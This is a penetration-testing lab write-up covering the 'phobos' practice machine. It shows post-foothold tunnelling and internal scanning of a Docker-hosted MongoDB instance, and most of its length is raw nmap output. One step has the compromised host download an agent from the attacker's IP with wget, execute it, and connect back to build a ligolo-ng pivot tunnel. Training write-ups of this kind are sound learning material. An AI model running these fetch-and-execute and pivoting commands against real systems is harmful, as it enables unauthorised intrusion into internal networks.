Tunneling


Upon gaining an initial foothold, I identified the presence of a Docker instance running with the IP address 172.17.0.2.

This aligns with earlier speculation about an internal host, which was hinted at in the todo note file.

www-data@ubuntu:/var/tmp$ cat /etc/ufw/user.rules
 
[...REDACTED...]
 
### tuple ### allow tcp 80 0.0.0.0/0 any 0.0.0.0/0 in
-A ufw-user-input -p tcp --dport 80 -j ACCEPT
 
### tuple ### allow any 27017 127.0.0.1 any 0.0.0.0/0 out
-A ufw-user-output -p tcp -d 127.0.0.1 --dport 27017 -j ACCEPT
-A ufw-user-output -p udp -d 127.0.0.1 --dport 27017 -j ACCEPT
 
### tuple ### allow any 27017 172.17.0.2 any 0.0.0.0/0 out
-A ufw-user-output -p tcp -d 172.17.0.2 --dport 27017 -j ACCEPT
-A ufw-user-output -p udp -d 172.17.0.2 --dport 27017 -j ACCEPT
 
### tuple ### allow tcp 6000:6007 0.0.0.0/0 any 0.0.0.0/0 out
-A ufw-user-output -p tcp -m multiport --dports 6000:6007 -j ACCEPT
 

A review of the firewall configuration (/etc/ufw/user.rules) provides further insight into network traffic flow. The rules indicate that traffic to and from port 27017 is permitted, specifically allowing outbound connections to both 127.0.0.1 and 172.17.0.2. There is also a running docker-proxy process that forwards to the MongoDB service (27017) running on the Docker host (172.17.0.2).

Additionally, an examination of the routing table confirms that the current host is part of the 172.17.0.0/24 network, reinforcing the likelihood that the service is being accessed from within the Docker environment rather than directly on the target system itself.

ligolo-ng


┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/phobos]
└─$ sudo ligolo-proxy -selfcert -laddr $tun0:6003
WARN[0000] Using default selfcert domain 'ligolo', beware of CTI, SOC and IoC! 
WARN[0000] Using self-signed certificates               
ERRO[0000] Certificate cache error: acme/autocert: certificate cache miss, returning a new certificate 
WARN[0000] TLS Certificate fingerprint for ligolo is: A5E9AEB316196665C8C499C31EBC03610A7BFA610193773D71958E5F8D269E7A 
INFO[0000] Listening on 192.168.45.218:6003             
    __    _             __                       
   / /   (_)___ _____  / /___        ____  ____ _
  / /   / / __ `/ __ \/ / __ \______/ __ \/ __ `/
 / /___/ / /_/ / /_/ / / /_/ /_____/ / / / /_/ / 
/_____/_/\__, /\____/_/\____/     /_/ /_/\__, /  
        /____/                          /____/   
 
  Made in France            by @Nicocha30!
  Version: dev
 
ligolo-ng » 

Starting a proxy server on port 6003 so that the target system is able to reach

www-data@ubuntu:/var/tmp$ wget -q http://192.168.45.218:6006/agent; chmod 755 ./agent
www-data@ubuntu:/var/tmp$ ./agent -connect 192.168.45.218:6003 -v -accept-fingerprint A5E9AEB316196665C8C499C31EBC03610A7BFA610193773D71958E5F8D269E7A &
 
[1] 11304
INFO[0000]/home/runner/work/ligolo-ng/ligolo-ng/cmd/agent/main.go:195 main.connect() Connection established                        addr="192.168.45.218:6003"

Agent transferred and executed

Agent joined

Selecting the session from the joined agent

Creating an interface with the intrface_create command A random name is assigned to the virtual network interface; closingvenus

Setting up the route with the autoroute command to select the desired network within the target system Starting the tunnel

Scanning


Now that the tunnel has been established, I can get to scanning

RustScan


┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/phobos]
└─$ rustscan -a 172.17.0.2
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍
 
[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[~] Automatically increasing ulimit value to 10000.
Open 172.17.0.2:27017

The 172.17.0.2:27017 socket is up and listening This is the MongoDB instance that the target system has tunneled to its localhost via ufw

Nmap


┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/phobos]
└─$ sudo nmap -PR -sS -top-ports 10000 172.17.0.1-3 --open
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-10 01:17 CET
Nmap scan report for 172.17.0.1
Host is up (0.029s latency).
Not shown: 8375 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
 
Nmap scan report for 172.17.0.2
Host is up (0.0085s latency).
Not shown: 8368 filtered tcp ports (no-response)
PORT      STATE  SERVICE
27017/tcp open   mongod
 
Nmap scan report for 172.17.0.3
Host is up (0.00017s latency).
All 8377 scanned ports on 172.17.0.3 are in ignored states.
Not shown: 8377 filtered tcp ports (no-response)
 
Nmap done: 3 IP addresses (3 hosts up) scanned in 61.45 seconds
 
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/phobos]
└─$ nmap -Pn -sC -sV -p27017 172.17.0.2                                       
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-10 01:06 CET
Nmap scan report for 172.17.0.2
Host is up (0.052s latency).
 
PORT      STATE SERVICE VERSION
27017/tcp open  mongodb MongoDB 4.4.3 4.4.3
| mongodb-databases: 
|   totalSize = 241664.0
|   databases
|     0
|       name = admin
|       empty = false
|       sizeOnDisk = 65536.0
|     1
|       name = config
|       empty = false
|       sizeOnDisk = 36864.0
|     2
|       name = local
|       empty = false
|       sizeOnDisk = 73728.0
|     3
|       name = staffs
|       empty = false
|       sizeOnDisk = 65536.0
|_  ok = 1.0
| mongodb-info: 
|   MongoDB Build info
|     modules
|     storageEngines
|       0 = biggie
|       1 = devnull
|       2 = ephemeralForTest
|       3 = wiredTiger
|     ok = 1.0
|     bits = 64
|     versionArray
|       0 = 4
|       1 = 4
|       2 = 3
|       3 = 0
|     buildEnvironment
|       cppdefines = SAFEINT_USE_INTRINSICS 0 PCRE_STATIC NDEBUG _XOPEN_SOURCE 700 _GNU_SOURCE _FORTIFY_SOURCE 2 BOOST_THREAD_VERSION 5 BOOST_THREAD_USES_DATETIME BOOST_SYSTEM_NO_DEPRECATED BOOST_MATH_NO_LONG_DOUBLE_MATH_FUNCTIONS BOOST_ENABLE_ASSERT_DEBUG_HANDLER BOOST_LOG_NO_SHORTHAND_NAMES BOOST_LOG_USE_NATIVE_SYSLOG BOOST_LOG_WITHOUT_THREAD_ATTR ABSL_FORCE_ALIGNED_ACCESS
|       ccflags = -fno-omit-frame-pointer -fno-strict-aliasing -fasynchronous-unwind-tables -ggdb -pthread -Wall -Wsign-compare -Wno-unknown-pragmas -Winvalid-pch -Werror -O2 -Wno-unused-local-typedefs -Wno-unused-function -Wno-deprecated-declarations -Wno-unused-const-variable -Wno-unused-but-set-variable -Wno-missing-braces -fstack-protector-strong -fno-builtin-memcmp
|       target_os = linux
|       distmod = ubuntu1804
|       cc = /opt/mongodbtoolchain/v3/bin/gcc: gcc (GCC) 8.2.0
|       target_arch = x86_64
|       cxxflags = -Woverloaded-virtual -Wno-maybe-uninitialized -fsized-deallocation -std=c++17
|       linkflags = -pthread -Wl,-z,now -rdynamic -Wl,--fatal-warnings -fstack-protector-strong -fuse-ld=gold -Wl,--no-threads -Wl,--build-id -Wl,--hash-style=gnu -Wl,-z,noexecstack -Wl,--warn-execstack -Wl,-z,relro -Wl,-z,origin -Wl,--enable-new-dtags
|       distarch = x86_64
|       cxx = /opt/mongodbtoolchain/v3/bin/g++: g++ (GCC) 8.2.0
|     maxBsonObjectSize = 16777216
|     debug = false
|     allocator = tcmalloc
|     gitVersion = 913d6b62acfbb344dde1b116f4161360acd8fd13
|     openssl
|       compiled = OpenSSL 1.1.1  11 Sep 2018
|       running = OpenSSL 1.1.1  11 Sep 2018
|     version = 4.4.3
|     javascriptEngine = mozjs
|     sysInfo = deprecated
|   Server status
|     uptimeEstimate = 18920958
|     locks
|       Mutex
|         acquireCount
|           r = 1015
|       Collection
|         acquireCount
|           W = 2
|           r = 728
|           w = 372
|       Database
|         acquireCount
|           W = 4
|           r = 640
|           w = 372
|       ParallelBatchWriterMode
|         acquireCount
|           r = 828
|       ReplicationStateTransition
|         acquireCount
|           w = 88554
|       Global
|         acquireCount
|           W = 4
|           r = 88174
|           w = 376
|     pid = 1
|     transportSecurity
|       unknown = 0
|       1.0 = 0
|       1.1 = 0
|       1.3 = 0
|       1.2 = 0
|     trafficRecording
|       running = false
|     mem
|       resident = 26
|       bits = 64
|       supported = true
|       virtual = 1556
|     electionMetrics
|       numCatchUpsSucceeded = 0
|       numCatchUpsFailedWithNewTerm = 0
|       numCatchUpsFailedWithReplSetAbortPrimaryCatchUpCmd = 0
|       numCatchUps = 0
|       numCatchUpsAlreadyCaughtUp = 0
|       averageCatchUpOps = 0.0
|       numCatchUpsFailedWithError = 0
|       freezeTimeout
|         successful = 0
|         called = 0
|       electionTimeout
|         successful = 0
|         called = 0
|       catchUpTakeover
|         successful = 0
|         called = 0
|       numStepDownsCausedByHigherTerm = 0
|       stepUpCmd
|         successful = 0
|         called = 0
|       numCatchUpsTimedOut = 0
|       numCatchUpsSkipped = 0
|       priorityTakeover
|         successful = 0
|         called = 0
|     transactions
|       totalPrepared = 0
|       totalStarted = 0
|       currentOpen = 0
|       transactionsCollectionWriteCount = 0
|       currentActive = 0
|       currentPrepared = 0
|       retriedCommandsCount = 0
|       currentInactive = 0
|       totalPreparedThenAborted = 0
|       totalPreparedThenCommitted = 0
|       totalCommitted = 0
|       totalAborted = 0
|       retriedStatementsCount = 0
|     metrics
|       repl
|         apply
|           batchSize = 0
|           ops = 0
|           batches
|             num = 0
|             totalMillis = 0
|           attemptsToBecomeSecondary = 0
|         syncSource
|           numTimesChoseSame = 0
|           numTimesCouldNotFind = 0
|           numTimesChoseDifferent = 0
|           numSelections = 0
|         network
|           readersCreated = 0
|           bytes = 0
|           notPrimaryUnacknowledgedWrites = 0
|           replSetUpdatePosition
|             num = 0
|           getmores
|             numEmptyBatches = 0
|             num = 0
|             totalMillis = 0
|           notPrimaryLegacyUnacknowledgedWrites = 0
|           ops = 0
|           oplogGetMoresProcessed
|             num = 0
|             totalMillis = 0
|         initialSync
|           failedAttempts = 0
|           failures = 0
|           completed = 0
|         executor
|           queues
|             sleepers = 0
|             networkInProgress = 0
|           pool
|             inProgressCount = 0
|           shuttingDown = false
|           unsignaledEvents = 0
|           networkInterface = DEPRECATED: getDiagnosticString is deprecated in NetworkInterfaceTL
|         stateTransition
|           lastStateTransition = 
|           userOperationsKilled = 0
|           userOperationsRunning = 0
|         buffer
|           count = 0
|           maxSizeBytes = 0
|           sizeBytes = 0
|       operation
|         scanAndOrder = 0
|         writeConflicts = 0
|       record
|         moves = 0
|       commands
|         killCursors
|           failed = 0
|           total = 0
|         getDiagnosticData
|           failed = 0
|           total = 0
|         getMore
|           failed = 0
|           total = 0
|         getParameter
|           failed = 0
|           total = 0
|         availableQueryOptions
|           failed = 0
|           total = 0
|         planCacheSetFilter
|           failed = 0
|           total = 0
|         create
|           failed = 0
|           total = 0
|         _shardsvrMovePrimary
|           failed = 0
|           total = 0
|         dbStats
|           failed = 0
|           total = 0
|         dropDatabase
|           failed = 0
|           total = 0
|         applyOps
|           failed = 0
|           total = 0
|         revokeRolesFromUser
|           failed = 0
|           total = 0
|         _configsvrDropCollection
|           failed = 0
|           total = 0
|         invalidateUserCache
|           failed = 0
|           total = 0
|         _migrateClone
|           failed = 0
|           total = 0
|         setParameter
|           failed = 0
|           total = 0
|         _configsvrAddShard
|           failed = 0
|           total = 0
|         replSetGetStatus
|           failed = 5
|           total = 5
|         replSetAbortPrimaryCatchUp
|           failed = 0
|           total = 0
|         createUser
|           failed = 0
|           total = 0
|         serverStatus
|           failed = 0
|           total = 17
|         replSetReconfig
|           failed = 0
|           total = 0
|         planCacheListFilters
|           failed = 0
|           total = 0
|         delete
|           failed = 0
|           total = 1
|         _recvChunkAbort
|           failed = 0
|           total = 0
|         findAndModify
|           total = 0
|           arrayFilters = 0
|           failed = 0
|           pipeline = 0
|         dropConnections
|           failed = 0
|           total = 0
|         collMod
|           failed = 0
|           total = 0
|         replSetFreeze
|           failed = 0
|           total = 0
|         ping
|           failed = 0
|           total = 0
|         revokePrivilegesFromRole
|           failed = 0
|           total = 0
|         aggregate
|           failed = 0
|           total = 0
|         startRecordingTraffic
|           failed = 0
|           total = 0
|         _configsvrAddShardToZone
|           failed = 0
|           total = 0
|         listCommands
|           failed = 0
|           total = 0
|         buildInfo
|           failed = 0
|           total = 23
|         killAllSessionsByPattern
|           failed = 0
|           total = 0
|         startSession
|           failed = 0
|           total = 0
|         getLastError
|           failed = 0
|           total = 0
|         _transferMods
|           failed = 0
|           total = 0
|         setShardVersion
|           failed = 0
|           total = 0
|         _recvChunkStart
|           failed = 0
|           total = 0
|         _configsvrUpdateZoneKeyRange
|           failed = 0
|           total = 0
|         _configsvrEnableSharding
|           failed = 0
|           total = 0
|         find
|           failed = 0
|           total = 79
|         mapReduce
|           failed = 0
|           total = 0
|         features
|           failed = 0
|           total = 0
|         createRole
|           failed = 0
|           total = 0
|         _configsvrCommitChunkMerge
|           failed = 0
|           total = 0
|         hostInfo
|           failed = 0
|           total = 0
|         listDatabases
|           failed = 0
|           total = 9
|         fsyncUnlock
|           failed = 0
|           total = 0
|         _recvChunkStatus
|           failed = 0
|           total = 0
|         _cloneCollectionOptionsFromPrimaryShard
|           failed = 0
|           total = 0
|         createIndexes
|           failed = 0
|           total = 0
|         collStats
|           failed = 0
|           total = 0
|         commitTransaction
|           failed = 0
|           total = 0
|         getFreeMonitoringStatus
|           failed = 0
|           total = 0
|         _flushDatabaseCacheUpdates
|           failed = 0
|           total = 0
|         grantPrivilegesToRole
|           failed = 0
|           total = 0
|         grantRolesToRole
|           failed = 0
|           total = 0
|         mergeChunks
|           failed = 0
|           total = 0
|         getDatabaseVersion
|           failed = 0
|           total = 0
|         logRotate
|           failed = 0
|           total = 0
|         _configsvrCommitChunkSplit
|           failed = 0
|           total = 0
|         _configsvrCreateDatabase
|           failed = 0
|           total = 0
|         shardingState
|           failed = 0
|           total = 0
|         _configsvrEnsureChunkVersionIsGreaterThan
|           failed = 0
|           total = 0
|         validate
|           failed = 0
|           total = 0
|         _configsvrMovePrimary
|           failed = 0
|           total = 0
|         connPoolStats
|           failed = 0
|           total = 0
|         mapreduce
|           shardedfinish
|             failed = 0
|             total = 0
|         compact
|           failed = 0
|           total = 0
|         getnonce
|           failed = 0
|           total = 0
|         _mergeAuthzCollections
|           failed = 0
|           total = 0
|         killSessions
|           failed = 0
|           total = 0
|         _addShard
|           failed = 0
|           total = 0
|         logout
|           failed = 0
|           total = 0
|         _configsvrRefineCollectionShardKey
|           failed = 0
|           total = 0
|         whatsmyuri
|           failed = 0
|           total = 5
|         _killOperations
|           failed = 0
|           total = 0
|         killOp
|           failed = 0
|           total = 0
|         appendOplogNote
|           failed = 0
|           total = 0
|         planCacheClearFilters
|           failed = 0
|           total = 0
|         waitForFailPoint
|           failed = 0
|           total = 0
|         voteCommitIndexBuild
|           failed = 0
|           total = 0
|         currentOp
|           failed = 0
|           total = 0
|         drop
|           failed = 0
|           total = 0
|         unsetSharding
|           failed = 0
|           total = 0
|         updateUser
|           failed = 0
|           total = 0
|         dropUser
|           failed = 0
|           total = 0
|         killAllSessions
|           failed = 0
|           total = 0
|         updateRole
|           failed = 0
|           total = 0
|         internalRenameIfOptionsAndIndexesMatch
|           failed = 0
|           total = 0
|         _configsvrDropDatabase
|           failed = 0
|           total = 0
|         replSetStepDownWithForce
|           failed = 0
|           total = 0
|         update
|           total = 5
|           arrayFilters = 0
|           failed = 0
|           pipeline = 6
|         top
|           failed = 0
|           total = 0
|         stopRecordingTraffic
|           failed = 0
|           total = 0
|         splitVector
|           failed = 0
|           total = 0
|         profile
|           failed = 0
|           total = 0
|         _configsvrBalancerStop
|           failed = 0
|           total = 0
|         splitChunk
|           failed = 0
|           total = 0
|         listIndexes
|           failed = 0
|           total = 148
|         _shardsvrShardCollection
|           failed = 0
|           total = 0
|         shutdown
|           failed = 0
|           total = 0
|         _configsvrClearJumboFlag
|           failed = 0
|           total = 0
|         setIndexCommitQuorum
|           failed = 0
|           total = 0
|         setFreeMonitoring
|           failed = 0
|           total = 0
|         setFeatureCompatibilityVersion
|           failed = 0
|           total = 0
|         dbHash
|           failed = 0
|           total = 0
|         _configsvrRemoveShardFromZone
|           failed = 0
|           total = 0
|         <UNKNOWN> = 0
|         _flushRoutingTableCacheUpdates
|           failed = 0
|           total = 0
|         setDefaultRWConcern
|           failed = 0
|           total = 0
|         saslStart
|           failed = 0
|           total = 0
|         saslContinue
|           failed = 0
|           total = 0
|         cleanupOrphaned
|           failed = 0
|           total = 0
|         driverOIDTest
|           failed = 0
|           total = 0
|         lockInfo
|           failed = 0
|           total = 0
|         abortTransaction
|           failed = 0
|           total = 0
|         dropIndexes
|           failed = 0
|           total = 0
|         replSetGetConfig
|           failed = 0
|           total = 0
|         checkShardingIndex
|           failed = 0
|           total = 0
|         coordinateCommitTransaction
|           failed = 0
|           total = 0
|         _getUserCacheGeneration
|           failed = 0
|           total = 0
|         replSetUpdatePosition
|           failed = 0
|           total = 0
|         filemd5
|           failed = 0
|           total = 0
|         count
|           failed = 0
|           total = 0
|         getCmdLineOpts
|           failed = 0
|           total = 5
|         refreshSessions
|           failed = 0
|           total = 0
|         replSetStepUp
|           failed = 0
|           total = 0
|         replSetStepDown
|           failed = 0
|           total = 0
|         replSetGetRBID
|           failed = 0
|           total = 0
|         getDefaultRWConcern
|           failed = 0
|           total = 0
|         _configsvrCommitChunkMigration
|           failed = 0
|           total = 0
|         replSetRequestVotes
|           failed = 0
|           total = 0
|         replSetMaintenance
|           failed = 0
|           total = 0
|         replSetInitiate
|           failed = 0
|           total = 0
|         replSetHeartbeat
|           failed = 0
|           total = 0
|         _shardsvrCloneCatalogData
|           failed = 0
|           total = 0
|         replSetResizeOplog
|           failed = 0
|           total = 0
|         repairDatabase
|           failed = 0
|           total = 0
|         renameCollection
|           failed = 0
|           total = 0
|         usersInfo
|           failed = 0
|           total = 0
|         prepareTransaction
|           failed = 0
|           total = 0
|         planCacheClear
|           failed = 0
|           total = 0
|         flushRouterConfig
|           failed = 0
|           total = 0
|         connectionStatus
|           failed = 0
|           total = 0
|         _configsvrBalancerStatus
|           failed = 0
|           total = 0
|         _configsvrCommitMovePrimary
|           failed = 0
|           total = 0
|         distinct
|           failed = 0
|           total = 0
|         revokeRolesFromRole
|           failed = 0
|           total = 0
|         connPoolSync
|           failed = 0
|           total = 0
|         dropAllRolesFromDatabase
|           failed = 0
|           total = 0
|         geoSearch
|           failed = 0
|           total = 0
|         _recvChunkCommit
|           failed = 0
|           total = 0
|         resetError
|           failed = 0
|           total = 0
|         dataSize
|           failed = 0
|           total = 0
|         _configsvrCreateCollection
|           failed = 0
|           total = 0
|         endSessions
|           failed = 0
|           total = 2
|         _configsvrBalancerStart
|           failed = 0
|           total = 0
|         _isSelf
|           failed = 0
|           total = 0
|         getLog
|           failed = 0
|           total = 5
|         dropRole
|           failed = 0
|           total = 0
|         insert
|           failed = 0
|           total = 0
|         replSetSyncFrom
|           failed = 0
|           total = 0
|         _configsvrRemoveShard
|           failed = 0
|           total = 0
|         cloneCollectionAsCapped
|           failed = 0
|           total = 0
|         rolesInfo
|           failed = 0
|           total = 0
|         hello
|           failed = 0
|           total = 5
|         dropAllUsersFromDatabase
|           failed = 0
|           total = 0
|         shardConnPoolStats
|           failed = 0
|           total = 0
|         explain
|           failed = 0
|           total = 0
|         moveChunk
|           failed = 0
|           total = 0
|         reIndex
|           failed = 0
|           total = 0
|         _configsvrMoveChunk
|           failed = 0
|           total = 0
|         fsync
|           failed = 0
|           total = 0
|         grantRolesToUser
|           failed = 0
|           total = 0
|         _configsvrShardCollection
|           failed = 0
|           total = 0
|         getShardVersion
|           failed = 0
|           total = 0
|         _configsvrBalancerCollectionStatus
|           failed = 0
|           total = 0
|         convertToCapped
|           failed = 0
|           total = 0
|         isMaster
|           failed = 0
|           total = 23
|         _getNextSessionMods
|           failed = 0
|           total = 0
|         getShardMap
|           failed = 0
|           total = 0
|         listCollections
|           failed = 0
|           total = 4
|         authenticate
|           failed = 0
|           total = 0
|       ttl
|         deletedDocuments = 3
|         passes = 364
|       query
|         planCacheTotalSizeEstimateBytes = 0
|         updateOneOpStyleBroadcastWithExactIDCount = 0
|       aggStageCounters
|         $limit = 0
|         $mergeCursors = 0
|         $geoNear = 0
|         $lookup = 0
|         $bucket = 0
|         $sample = 0
|         $skip = 0
|         $_internalInhibitOptimization = 0
|         $group = 0
|         $listSessions = 0
|         $facet = 0
|         $project = 0
|         $match = 0
|         $set = 6
|         $currentOp = 0
|         $merge = 0
|         $planCacheStats = 0
|         $listLocalSessions = 0
|         $redact = 0
|         $graphLookup = 0
|         $bucketAuto = 0
|         $sort = 0
|         $unwind = 0
|         $unset = 0
|         $changeStream = 0
|         $unionWith = 0
|         $collStats = 0
|         $_internalSplitPipeline = 0
|         $replaceWith = 0
|         $sortByCount = 0
|         $indexStats = 0
|         $out = 0
|         $count = 0
|         $replaceRoot = 0
|         $addFields = 0
|       queryExecutor
|         collectionScans
|           nonTailable = 4
|           total = 4
|         scanned = 3
|         scannedObjects = 14
|       getLastError
|         wtime
|           num = 0
|           totalMillis = 0
|         default
|           wtimeouts = 0
|           unsatisfiable = 0
|         wtimeouts = 0
|       cursor
|         open
|           total = 0
|           pinned = 0
|           noTimeout = 0
|         timedOut = 0
|       document
|         inserted = 0
|         updated = 2
|         deleted = 1
|         returned = 11
|     localTime = 1741565175952
|     opReadConcernCounters
|       linearizable = 0
|       majority = 0
|       local = 0
|       available = 0
|       snapshot = 0
|       none = 79
|     opcountersRepl
|       delete = 0
|       query = 0
|       getmore = 0
|       command = 0
|       insert = 0
|       update = 0
|     connections
|       exhaustIsMaster = 0
|       active = 1
|       exhaustHello = 0
|       awaitingTopologyChanges = 0
|       totalCreated = 49
|       available = 838853
|       current = 7
|     uptime = 18920958.0
|     twoPhaseCommitCoordinator
|       currentInSteps
|         waitingForDecisionAcks = 0
|         deletingCoordinatorDoc = 0
|         writingParticipantList = 0
|         writingDecision = 0
|         waitingForVotes = 0
|       totalAbortedTwoPhaseCommit = 0
|       totalStartedTwoPhaseCommit = 0
|       totalCreated = 0
|       totalCommittedTwoPhaseCommit = 0
|     freeMonitoring
|       state = undecided
|     tcmalloc
|       tcmalloc
|         total_free_bytes = 1464744
|         pageheap_committed_bytes = 90333184
|         pageheap_reserve_count = 48
|         pageheap_scavenge_count = 18
|         pageheap_total_reserve_bytes = 90357760
|         pageheap_free_bytes = 3829760
|         pageheap_commit_count = 119
|         thread_cache_free_bytes = 973920
|         current_total_thread_cache_bytes = 973920
|         pageheap_total_decommit_bytes = 13512704
|         pageheap_decommit_count = 18
|         central_cache_free_bytes = 235592
|         formattedString = ------------------------------------------------
|         MALLOC:       85039256 (   81.1 MiB) Bytes in use by application
|         MALLOC: +      3829760 (    3.7 MiB) Bytes in page heap freelist
|         MALLOC: +       235592 (    0.2 MiB) Bytes in central cache freelist
|         MALLOC: +       255232 (    0.2 MiB) Bytes in transfer cache freelist
|         MALLOC: +       973344 (    0.9 MiB) Bytes in thread cache freelists
|         MALLOC: +      2752512 (    2.6 MiB) Bytes in malloc metadata
|         MALLOC:   ------------
|         MALLOC: =     93085696 (   88.8 MiB) Actual memory used (physical + swap)
|         MALLOC: +        24576 (    0.0 MiB) Bytes released to OS (aka unmapped)
|         MALLOC:   ------------
|         MALLOC: =     93110272 (   88.8 MiB) Virtual address space used
|         MALLOC:
|         MALLOC:            727              Spans in use
|         MALLOC:             37              Thread heaps in use
|         MALLOC:           4096              Tcmalloc page size
|         ------------------------------------------------
|         Call ReleaseFreeMemory() to release freelist memory to the OS (via madvise()).
|         Bytes released to the OS take up virtual address space but no physical memory.
|         transfer_cache_free_bytes = 255232
|         pageheap_unmapped_bytes = 24576
|         max_total_thread_cache_bytes = 128974848
|         aggressive_memory_decommit = 0
|         release_rate = 1.0
|         spinlock_total_delay_ns = 0
|         pageheap_total_commit_bytes = 103845888
|       generic
|         heap_size = 90357760
|         current_allocated_bytes = 85038680
|     process = mongod
|     uptimeMillis = 18920958034
|     ok = 1.0
|     extra_info
|       involuntary_context_switches = 78739
|       input_blocks = 155328
|       user_time_us = 34314338
|       page_reclaims = 17937
|       system_time_us = 12806197
|       maximum_resident_set_kb = 96964
|       page_faults = 739
|       voluntary_context_switches = 811188
|       note = fields vary by platform
|       output_blocks = 103608
|     storageEngine
|       oldestRequiredTimestampForCrashRecovery = Timestamp(0, 0)
|       supportsCommittedReads = true
|       backupCursorOpen = false
|       supportsPendingDrops = true
|       persistent = true
|       supportsSnapshotReadConcern = true
|       name = wiredTiger
|       readOnly = false
|       dropPendingIdents = 0
|       supportsTwoPhaseIndexBuild = true
|     globalLock
|       totalTime = 18920958003000
|       activeClients
|         writers = 0
|         total = 0
|         readers = 0
|       currentQueue
|         writers = 0
|         total = 0
|         readers = 0
|     flowControl
|       isLaggedTimeMicros = 0
|       sustainerRate = 0
|       locksPerKiloOp = 0.0
|       timeAcquiringMicros = 558
|       isLaggedCount = 0
|       targetRateLimit = 1000000000
|       isLagged = false
|       enabled = true
|     asserts
|       regular = 0
|       user = 5
|       msg = 0
|       warning = 0
|       rollovers = 0
|     logicalSessionRecordCache
|       lastSessionsCollectionJobTimestamp = 1741564915827
|       transactionReaperJobCount = 74
|       sessionsCollectionJobCount = 74
|       sessionCatalogSize = 0
|       lastTransactionReaperJobDurationMillis = 0
|       lastTransactionReaperJobTimestamp = 1741564915830
|       lastTransactionReaperJobEntriesCleanedUp = 0
|       lastSessionsCollectionJobDurationMillis = 1
|       lastSessionsCollectionJobEntriesRefreshed = 0
|       activeSessionsCount = 0
|       lastSessionsCollectionJobEntriesEnded = 2
|       lastSessionsCollectionJobCursorsClosed = 0
|     host = 85b45169ebbf
|     opcounters
|       delete = 2
|       query = 79
|       getmore = 0
|       command = 251
|       insert = 0
|       update = 6
|     opLatencies
|       reads
|         ops = 4
|         latency = 23828
|       transactions
|         ops = 0
|         latency = 0
|       commands
|         ops = 102
|         latency = 163189
|       writes
|         ops = 0
|         latency = 0
|     security
|       authentication
|         mechanisms
|           SCRAM-SHA-1
|             authenticate
|               successful = 0
|               received = 0
|             speculativeAuthenticate
|               successful = 0
|               received = 0
|           MONGODB-X509
|             authenticate
|               successful = 0
|               received = 0
|             speculativeAuthenticate
|               successful = 0
|               received = 0
|           SCRAM-SHA-256
|             authenticate
|               successful = 0
|               received = 0
|             speculativeAuthenticate
|               successful = 0
|               received = 0
|     network
|       tcpFastOpen
|         accepted = 0
|         serverSupported = true
|         clientSupported = true
|         kernelSetting = 1
|       physicalBytesOut = 743599
|       bytesOut = 743599
|       compression
|         snappy
|           compressor
|             bytesIn = 0
|             bytesOut = 0
|           decompressor
|             bytesIn = 0
|             bytesOut = 0
|         zstd
|           compressor
|             bytesIn = 0
|             bytesOut = 0
|           decompressor
|             bytesIn = 0
|             bytesOut = 0
|         zlib
|           compressor
|             bytesIn = 0
|             bytesOut = 0
|           decompressor
|             bytesIn = 0
|             bytesOut = 0
|       physicalBytesIn = 9974
|       serviceExecutorTaskStats
|         threadsRunning = 7
|         executor = passthrough
|       numSlowSSLOperations = 0
|       numSlowDNSOperations = 0
|       numRequests = 107
|       bytesIn = 9974
|     version = 4.4.3
|     wiredTiger
|       session
|         table drop failed calls = 0
|         table verify failed calls = 0
|         session query timestamp calls = 0
|         table create successful calls = 1
|         table salvage failed calls = 0
|         table truncate failed calls = 0
|         table salvage successful calls = 0
|         table alter unchanged and skipped = 0
|         table truncate successful calls = 0
|         table drop successful calls = 0
|         table compact failed calls = 0
|         table compact successful calls = 0
|         table rename failed calls = 0
|         table create failed calls = 0
|         table rename successful calls = 0
|         table verify successful calls = 0
|         table alter successful calls = 0
|         open session count = 13
|         table alter failed calls = 0
|       checkpoint-cleanup
|         pages visited = 428
|         pages skipped during tree walk = 0
|         pages added for eviction = 27
|         pages removed = 0
|       cursor
|         cursor close calls that result in cache = 308039
|         cursor search calls = 4425
|         cursor reset calls = 317430
|         cursor next calls that skip due to a globally visible history store tombstone = 0
|         cursor next calls that skip due to a globally visible history store tombstone in rollback to stable = 0
|         cursor sweeps = 5217
|         cursor modify key and value bytes affected = 0
|         cursor sweep buckets = 31302
|         cursor modify calls = 0
|         cursor modify value bytes modified = 0
|         cursor remove key bytes removed = 340
|         cursors reused from cache = 308005
|         Total number of entries skipped by cursor next calls = 52
|         cursor sweep cursors closed = 0
|         cursor next calls = 472
|         Total number of entries skipped to position the history store cursor = 0
|         cursor search near calls = 389
|         cursor bulk loaded cursor insert calls = 0
|         cursor prev calls that skip due to a globally visible history store tombstone = 0
|         cursor update value size change = 0
|         cursor update key and value bytes = 0
|         cursor reserve calls = 0
|         cursor insert key and value bytes = 806918
|         cursor prev calls = 312
|         cursor update calls = 0
|         cursor operation restarted = 0
|         cursor truncate calls = 0
|         cursor next calls that skip greater than or equal to 100 entries = 0
|         cursor prev calls that skip less than 100 entries = 312
|         cursor sweep cursors examined = 28
|         cursor remove calls = 14
|         cursor create calls = 92
|         cached cursor count = 13
|         cursor prev calls that skip greater than or equal to 100 entries = 0
|         cursor prev calls that skip due to a globally visible history store tombstone in rollback to stable = 0
|         cursor next calls that skip less than 100 entries = 470
|         cursor insert calls = 1105
|         Total number of entries skipped by cursor prev calls = 6
|         cursor search history store calls = 0
|         open cursor count = 6
|       thread-yield
|         log server sync yielded for log write = 0
|         page acquire locked blocked = 0
|         get reference for page index and slot time sleeping (usecs) = 0
|         page access yielded due to prepare state change = 0
|         connection close blocked waiting for transaction state stabilization = 0
|         page acquire eviction blocked = 0
|         page delete rollback time sleeping for state change (usecs) = 0
|         page acquire time sleeping (usecs) = 0
|         data handle lock yielded = 0
|         application thread time evicting (usecs) = 0
|         page acquire read blocked = 0
|         connection close yielded for lsm manager shutdown = 0
|         page reconciliation yielded due to child modification = 0
|         application thread time waiting for cache (usecs) = 0
|         page acquire busy blocked = 0
|       uri = statistics:
|       cache
|         eviction walks started from saved location in tree = 0
|         forced eviction - pages evicted that were clean count = 0
|         eviction state = 64
